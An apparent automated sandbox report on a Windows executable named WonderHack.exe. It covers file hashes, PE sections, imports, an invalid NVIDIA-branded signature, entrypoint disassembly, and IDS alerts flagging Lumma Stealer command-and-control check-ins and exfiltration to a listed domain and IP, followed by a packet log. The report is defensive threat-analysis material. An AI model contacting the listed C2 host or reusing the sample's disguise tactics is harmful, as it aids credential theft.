Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.558414427397498
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	WonderHack.exe
File size:	561'192 bytes
MD5:	83614dc842994c0adabd914b7273d6cc
SHA1:	4600ed64d6d42dec8f26d503b3af6af2c183a44f
SHA256:	848ccff6a8e523f7e0a7a787b480adad7cf7d0ec6a93362a6a3e94e0e5e93e8d
SHA512:	6f7b44a2ef78d18a506e13ac222da847294c9bd22f633b36aa4f5ebafe1adacca0c012f705aceae5275c62f75b83a2abed51f675229254be6d887142fb404c98
SSDEEP:	12288:8YO6Dqzihouxpa+yWpYa2q+I3jv6W4tCbgzvPoJgBwg0rPEO:5O6DThou2+yAYq+c4tEqv4WQrPt
TLSH:	B7C4D0027690C0B2C56316779AB9D779093FB8200F6257DB97A84BBDDEB02C14F31A6D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ng..........................................@.................................oE....@.................................\|j..<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4104a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E98E6 [Fri Dec 27 12:09:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	96d90e8808da099bc17e050394f447e7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/01/2023 19:00:00 16/01/2026 18:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007F4BF4DC8FCAh
jmp 00007F4BF4DC8E2Dh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F4BF4DC8FC6h
test esi, ecx
jne 00007F4BF4DC8FE8h
call 00007F4BF4DC8FF1h
mov ecx, eax
cmp ecx, edi
jne 00007F4BF4DC8FC9h
mov ecx, BB40E64Fh
jmp 00007F4BF4DC8FD0h
test esi, ecx
jne 00007F4BF4DC8FCCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D00h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CB8h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CB4h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D50h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D28h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F4BF4DCFDA3h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a7c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8c000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x86a00	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32608	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ea98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c3c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b4ca	0x2b600	ebf84c6b836020b1a66433a898baeab7	False	0.5443702719740634	data	6.596404756541432	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc50c	0xc600	96e76e7ef084461591b1dcd4c2131f05	False	0.40260022095959597	data	4.741850626178578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	d87fd4546a2b39263a028b496b33108f	False	0.29814453125	data	5.024681407682101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2744	0x2800	c7508b57e36483307c47b7dd73fc0c85	False	0.75166015625	data	6.531416896423856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x49200	0x49200	efcbe068df8492502064bc01a592f7ae	False	1.0003372061965812	data	7.999341172781042	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8c000	0x3fc	0x400	05b707b97d801ccd31a47ec3bf42267d	False	0.443359375	data	3.391431520369637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8c058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

ShowWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T23:14:55.472761+0100	2058550	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click)	1	192.168.2.5	58235	1.1.1.1	53	UDP
2024-12-27T23:14:57.031822+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:14:57.031822+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:14:57.931139+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:14:57.931139+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:14:59.248165+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49709	104.21.30.13	443	TCP
2024-12-27T23:14:59.248165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.30.13	443	TCP
2024-12-27T23:15:00.027960+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49709	104.21.30.13	443	TCP
2024-12-27T23:15:00.027960+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49709	104.21.30.13	443	TCP
2024-12-27T23:15:01.741831+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49710	104.21.30.13	443	TCP
2024-12-27T23:15:01.741831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.30.13	443	TCP
2024-12-27T23:15:04.391250+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49711	104.21.30.13	443	TCP
2024-12-27T23:15:04.391250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	104.21.30.13	443	TCP
2024-12-27T23:15:07.061805+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49712	104.21.30.13	443	TCP
2024-12-27T23:15:07.061805+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	104.21.30.13	443	TCP
2024-12-27T23:15:09.814998+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49713	104.21.30.13	443	TCP
2024-12-27T23:15:09.814998+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	104.21.30.13	443	TCP
2024-12-27T23:15:10.600667+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49713	104.21.30.13	443	TCP
2024-12-27T23:15:12.803297+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49714	104.21.30.13	443	TCP
2024-12-27T23:15:12.803297+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	104.21.30.13	443	TCP
2024-12-27T23:15:15.432371+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.5	49720	104.21.30.13	443	TCP
2024-12-27T23:15:15.432371+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	104.21.30.13	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:14:55.810376883 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:55.810425043 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:55.810523033 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:55.811666965 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:55.811678886 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.031717062 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.031821966 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.086596012 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.086612940 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.086895943 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.135436058 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.191932917 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.191963911 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.192047119 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.931139946 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.931231022 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.931283951 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.932908058 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.932925940 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.932936907 CET	49708	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.932941914 CET	443	49708	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.941824913 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.941864967 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:57.941935062 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.942873955 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:57.942888975 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:59.248079062 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:59.248164892 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:59.249546051 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:59.249551058 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:59.249773979 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:14:59.251034975 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:59.251050949 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:14:59.251096964 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.027951002 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.028007030 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.028033972 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.028064966 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.028100967 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.028101921 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.028119087 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.028131962 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.028162956 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.036092043 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.043262959 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.043330908 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.043340921 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.051676989 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.051733017 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.051740885 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.104212046 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.147525072 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.189771891 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.189798117 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.241803885 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.241837025 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.241859913 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.241898060 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.241913080 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.241951942 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.241983891 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.242465019 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.242481947 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.242492914 CET	49709	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.242496967 CET	443	49709	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.483715057 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.483746052 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:00.483844042 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.484167099 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:00.484177113 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:01.741661072 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:01.741831064 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:01.743129015 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:01.743134975 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:01.743345022 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:01.744570017 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:01.744723082 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:01.744750023 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:02.718935013 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:02.719017982 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:02.719118118 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:02.737610102 CET	49710	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:02.737621069 CET	443	49710	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:03.116529942 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:03.116578102 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:03.116647959 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:03.117028952 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:03.117043018 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:04.391082048 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:04.391249895 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:04.393956900 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:04.393970966 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:04.394174099 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:04.398793936 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:04.400872946 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:04.400913000 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:04.400983095 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:04.443332911 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:05.239176989 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:05.239255905 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:05.239427090 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:05.239552021 CET	49711	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:05.239573956 CET	443	49711	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:05.468447924 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:05.468542099 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:05.468655109 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:05.469002962 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:05.469039917 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:07.061579943 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:07.061805010 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:07.063210964 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:07.063232899 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:07.063579082 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:07.064982891 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:07.065182924 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:07.065226078 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:07.065299034 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:07.065315008 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:08.043562889 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:08.043668985 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:08.043735027 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:08.043860912 CET	49712	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:08.043896914 CET	443	49712	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:08.529710054 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:08.529761076 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:08.529844046 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:08.530236006 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:08.530258894 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:09.814914942 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:09.814997911 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:09.816360950 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:09.816375017 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:09.816575050 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:09.817852974 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:09.817953110 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:09.817959070 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:10.600682974 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:10.600754023 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:10.600831032 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:10.601025105 CET	49713	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:10.601036072 CET	443	49713	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:11.568279982 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:11.568352938 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:11.568448067 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:11.568856001 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:11.568887949 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.803064108 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.803297043 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.804594040 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.804620028 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.804830074 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.808577061 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.809343100 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.809386015 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.809528112 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.809568882 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.810400963 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.810448885 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.811491013 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.811543941 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.812766075 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.812815905 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.813005924 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.813040972 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.813071966 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.813093901 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.813186884 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.813220978 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.813266039 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.813534975 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.813580036 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.855348110 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.855561972 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.855601072 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:12.855634928 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.855669022 CET	443	49714	104.21.30.13	192.168.2.5
